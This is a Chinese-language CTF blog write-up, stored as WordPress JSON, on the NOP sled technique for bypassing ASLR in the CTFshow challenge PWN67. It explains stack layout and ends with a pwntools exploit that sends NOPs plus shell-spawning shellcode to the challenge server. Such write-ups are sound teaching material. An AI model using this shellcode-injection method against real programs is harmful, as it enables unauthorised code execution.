{"id":323,"date":"2024-12-12T22:29:30","date_gmt":"2024-12-12T14:29:30","guid":{"rendered":"http:\/\/8.141.27.105\/?p=323"},"modified":"2025-01-20T16:35:56","modified_gmt":"2025-01-20T08:35:56","slug":"ctfpwnnopsled-%e7%a9%ba%e6%93%8d%e4%bd%9c%e9%9b%aa%e6%a9%87","status":"publish","type":"post","link":"http:\/\/n0ps1ed.top\/index.php\/2024\/12\/12\/ctfpwnnopsled-%e7%a9%ba%e6%93%8d%e4%bd%9c%e9%9b%aa%e6%a9%87\/","title":{"rendered":"nopsled \u7a7a\u64cd\u4f5c\u96ea\u6a47"},"content":{"rendered":"\n

\u57fa\u7840\u77e5\u8bc6\uff1a<\/p>\n\n\n\n

1.\u5168\u5c40\u53d8\u91cf\u548c\u5c40\u90e8\u53d8\u91cf\uff0c\u5168\u5c40\u53d8\u91cf\u5b58\u5728\u6570\u636e\u6bb5\u6216.bss\u4e2d\uff0c\u800c\u5c40\u90e8\u53d8\u91cf\u5b58\u5728\u6808\u4e2d\u3002<\/p>\n\n\n\n

2.ASLR\u53ef\u4ee5\u4f7f\u6808\u6bb5\u548c\u5806\u6bb5\u968f\u673a\u5316\uff0c\u6211\u5bf9\u968f\u673a\u5316\u7684\u7406\u89e3\u662f\u7ed9\u4e00\u4e2a\u533a\u95f4\uff0c\u7136\u540e\u5806\u6808\u6bb5\u6574\u4f53\u5728\u8fd9\u91cc\u9762\u632a\u52a8(\u4e5f\u5c31\u662f\u8bf4\uff0c\u5bf9\u4e8e\u540c\u4e00\u4e2a\u7a0b\u5e8f\uff0c\u6808\u5185\u90e8\u7684\u504f\u79fb\u662f\u4e0d\u53d8\u7684\uff0c\u53d8\u7684\u53ea\u662f\u6808\u7684\u57fa\u5740)\u3002\uff08\u9898\u5916\u8bdd\uff0cASLR\u548cPIE\u7684\u533a\u522b\u5728\u4e8e\uff0cASLR\u4e0d\u5bf9\u4ee3\u7801\u6bb5\u548c\u6570\u636e\u6bb5\u8fdb\u884c\u968f\u673a\u5316\uff0c\u8fd9\u4e2a\u529f\u80fd\u7531PIE\u5b9e\u73b0\uff0c\u4f46\u662f\u53ea\u6709\u5f00\u4e86ASLR\u624d\u80fd\u5f00PIE\uff09<\/p>\n\n\n\n

3.\u4e00\u822c\u60c5\u51b5\u4e0b\u7684\u5229\u7528\u65b9\u6cd5\u662f\uff0c\u5f80\u6808\u4e0a\u67d0\u4e2a\u5730\u65b9\uff08buf1\uff09\u5199\u5165shellcode\uff0c\u7136\u540e\u8986\u76d6ret\u5730\u5740\uff0c\u8fd4\u56de\u5230buf1\u53bb\u6267\u884c(\u524d\u63d0\u662f\u8be5\u6bb5\u53ef\u6267\u884c)\u3002\u5982\u679c\u4e0d\u5f00\u542fASLR\uff0c\u6839\u636e\u53cd\u7f16\u8bd1\u51fa\u6765\u7684\u6c47\u7f16\u4ee3\u7801\uff0c\u53ef\u4ee5\u8f7b\u800c\u6613\u4e3e\u5730\u63a8\u51fa\u6574\u4e2a\u6808\u7684\u7ed3\u6784\uff0c\u8fdb\u800c\u5f97\u5230buf1\uff08\u6709\u65f6\u5019\u9898\u76ee\u751a\u81f3\u4f1a\u628abuf1\u6253\u5370\u51fa\u6765\uff0c\u90a3\u5c31\u66f4\u7b80\u5355\u4e86\uff09\u3002<\/p>\n\n\n\n

\u4f46\u662f\uff0c\u5982\u679c\u5f00\u542fASLR\u540e\uff0c\u6808\u7684\u57fa\u5740\u6bcf\u6b21\u8fd0\u884c\u7a0b\u5e8f\u90fd\u4f1a\u53d1\u751f\u53d8\u5316\uff0c\u8fd9\u4e2a\u65f6\u5019\u60f3\u8981\u786e\u5b9abuf1\u5c31\u4f1a\u53d8\u5f97\u5f88\u56f0\u96be\u3002\u4e8e\u662f\uff0cnop sled\u8bde\u751f\u4e86\u3002<\/p>\n\n\n\n

nop sled\uff0c\u5c31\u662f\u5f80shellcode\u540e\u586b\u5145\u5c3d\u53ef\u80fd\u591a\u7684nop\uff0c\u539f\u6765\u8981\u6267\u884cshellcode\u5fc5\u987b\u547d\u4e2dshellcode\u5f00\u59cb\u7684\u5730\u5740\uff0c\u73b0\u5728\u53ea\u9700\u8981\u547d\u4e2d\u968f\u4fbf\u4e00\u4e2anop\uff0c\u5c31\u80fd\u6ed1\u5230shellcode\u3002\u53ef\u4ee5\u7406\u89e3\u4e3a\u53d8\u76f8\u6269\u5927shellcode\u547d\u4e2d\u8303\u56f4\u3002<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

\u4f8b\u9898CTFSHOW PWN\u5165\u95e8 PWN67\uff0c<\/p>\n\n\n\n

\u5f00\u542f\u4e86ASLR\uff0c\u53ef\u4ee5\u5f80seed\u5199\u5165shellcode\uff0c\u4f46\u662fseed\u7684\u5730\u5740\u672a\u77e5\u3002\u4e0d\u8fc7\u7a0b\u5e8f\u4f1a\u7ed9\u4e00\u4e2a\u5730\u5740positon=*v1\u00b1(0-668)\uff0c\u4e5f\u5c31\u662f\u7ed9\u4e86v1\u7684\u5927\u81f4\u5730\u5740\uff0c\u7531\u4e8ev1\u548cshellcode\u6240\u5728\u7684seed\u90fd\u5728\u6808\u4e0a\uff0c\u6839\u636e\u6808\u5185\u504f\u79fb\u4e0d\u53d8\uff0c\u5c31\u76f8\u5f53\u4e8e\u53d8\u76f8\u7ed9\u4e86seed\u7684\u5927\u6982\u5730\u5740\uff0c\u90a3\u4e48\u6839\u636eseed\u7684\u5927\u6982\u5730\u5740\uff0c\u5c31\u80fd\u7528nop sled\u6765\u6253:<\/p>\n\n\n\n

\"\"<\/div><\/figure>\n\n\n\n

<\/p>\n\n\n\n

<\/p>\n\n\n\n

\u5173\u4e8e\u4e3a\u4ec0\u4e48\u5f00\u4e86ASLR\uff0c\u8fd8\u8981\u6574\u4e00\u4e2a\u968f\u673a\u6570\uff0c\u6211\u7684\u7406\u89e3\u662f\uff0c\u7406\u8bba\u4e0a\u6765\u8bf4\uff0c\u5f00\u542f\u4e86ASLR\uff0c\u786e\u5b9e\u53ef\u4ee5\u4ec0\u4e48\u90fd\u4e0d\u7ed9\uff0c\u7136\u540enop sled\uff0c\u4f46\u662f\u4f30\u8ba1\u662fASLR\u504f\u79fb\u7684\u8303\u56f4\u6bd4\u8f83\u5927\uff0c\u800c\u80fd\u586b\u5145\u7684nop\u6bd4\u8f83\u6709\u9650\uff0c\u8fd9\u5c31\u5bfc\u81f4nop sled\u7684\u4f5c\u7528\u975e\u5e38\u6709\u9650\uff0c\u53ef\u80fd\u8dd1\u5f88\u591a\u6b21\u90fd\u547d\u4e2d\u4e0d\u4e86\u3002\u6240\u4ee5\u5f97\u5229\u7528\u968f\u673a\u6570\u6765\u6cc4\u9732\u4e00\u4e0bshellcode\u7684\u5730\u5740\u7684\u5927\u6982\u8303\u56f4\uff0c\u672c\u9898\u5728\u8fd9\u4e2a\u57fa\u7840\u4e0a\u8fd8\u7ed5\u4e86\u4e00\u4e0b\uff0c\u6ca1\u6709\u76f4\u63a5\u6cc4\u9732shellcode\u7684\u5730\u5740\uff0c\u800c\u662f\u628a\u6808\u4e0a\u53e6\u4e00\u4e2a\u53d8\u91cf\u7684\u5730\u5740\u6cc4\u9732\u4e86\uff0c\u8ba9\u6211\u4eec\u6839\u636e\u6c47\u7f16\u4ee3\u7801\u6765\u63a8shellcode\u7684\u5927\u6982\u5730\u5740\u3002<\/p>\n\n\n\n

ok\uff0c\u63a5\u4e0b\u6765\u6784\u601d\u4e00\u4e0b\u601d\u8def\uff1a<\/p>\n\n\n\n

\u9996\u5148\u786e\u5b9av1\u8ddfseed\u4e4b\u95f4\u7684\u8ddd\u79bb\uff0c\u5f97\u51faseed\u7684\u5730\u5740\u5927\u6982\u8303\u56f4\u3002\u7136\u540e\u5f80seed\u5199\u5165nop*n+shellcode\uff0cn\u7531\u8303\u56f4\u533a\u95f4\u00b1(0-668)\u51b3\u5b9a\uff0c\u6700\u540e\u5728\u5f80\u6267\u884c\u5730\u5740v5\u5199\u5165seed\u7684\u5927\u6982\u5730\u5740\u3002<\/p>\n\n\n\n

\u786e\u5b9av1\u4e0eseed\u8ddd\u79bb\u53c2\u8003\u535a\u5ba2\uff1a<\/p>\n\n\n\n

CTFshow-pwn\u5165\u95e8-pwn67(nop sled\u7a7a\u64cd\u4f5c\u96ea\u6a47)-CSDN\u535a\u5ba2<\/a><\/p>\n\n\n\n

<\/p>\n\n\n\n

\u7531\u4e8enop\u6307\u4ee4\u662fpop\u6389\u7684\uff0c\u6240\u4ee5nop\u4eec\u5f97\u653e\u5728\u4f4e\u5730\u5740\uff0cshellcode\u8981\u5728\u9ad8\u5730\u5740\uff0c\u4e5f\u5c31\u662f\u5199payload\u65f6\u5019shellcode\u8981\u5728\u540e\u9762\u3002\u540c\u65f6\uff0c\u9700\u8981\u5047\u8bbe\u6700\u6781\u7aef\u60c5\u51b5\uff0c\u5373\u8303\u56f4\u53d6\u5230\u4e86\u7aef\u70b9\u2014\u2014\u5b9e\u9645\u5730\u5740\u6bd4\u7ed9\u7684\u5730\u5740\u9ad8668\uff0c\u800c\u8981\u4fdd\u8bc1shellcode\u5730\u5740\u6bd4\u5b9e\u9645\u5730\u5740\u9ad8\uff0c\u6240\u4ee5shellcode\u4f4d\u7f6e\u5c31\u5f97\u5728positon+668\u7684\u4f4d\u7f6e,nop\u9700\u8981\u586b668*2=1336\u4e2a.<\/p>\n\n\n\n

exp:<\/p>\n\n\n\n

from pwn import*\n\nfrom LibcSearcher import*\n\n#\u8fde\u63a5\u8fdc\u7a0b\n\np=remote(\"pwn.challenge.ctf.show\",28204)\n\npayload=asm(shellcraft.sh())\n\npayload=b'\\x90'*1336+payload\n\np.recvuntil('location: ')\n\nlocation=p.recvuntil('\\n',drop=True)\n\nprint(location)\n\nlocation=int(location,16)\n\nlocation=location+45\n\nlocation=location+668\n\np.sendlineafter('>',payload)\n\np.sendlineafter('>',hex(location))\n\np.interactive()\n\n\u9700\u8981\u6ce8\u610f\u4e00\u4e0b\uff0c\u4f20location\u65f6\u5019\uff0c\u4e0d\u662f%s\u578b\u800c\u662f%p\u578b\uff0c\u6240\u4ee5\u4e0d\u7528p32()\u800c\u7528hex()\n<\/code><\/pre>\n\n\n\n
\"\"<\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"
\u57fa\u7840\u77e5\u8bc6\uff1a 1.\u5168\u5c40\u53d8\u91cf\u548c\u5c40\u90e8\u53d8\u91cf\uff0c\u5168\u5c40\u53d8\u91cf\u5b58\u5728\u6570\u636e\u6bb5\u6216.bss\u4e2d\uff0c\u800c\u5c40\u90e8\u53d8\u91cf\u5b58\u5728\u6808\u4e2d\u3002 2.ASLR\u53ef\u4ee5\u4f7f\u6808 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17,13],"tags":[],"class_list":["post-323","post","type-post","status-publish","format-standard","hentry","category-17","category-13"],"_links":{"self":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/323","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/comments?post=323"}],"version-history":[{"count":2,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/323\/revisions"}],"predecessor-version":[{"id":826,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/posts\/323\/revisions\/826"}],"wp:attachment":[{"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/media?parent=323"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/categories?post=323"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/n0ps1ed.top\/index.php\/wp-json\/wp\/v2\/tags?post=323"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}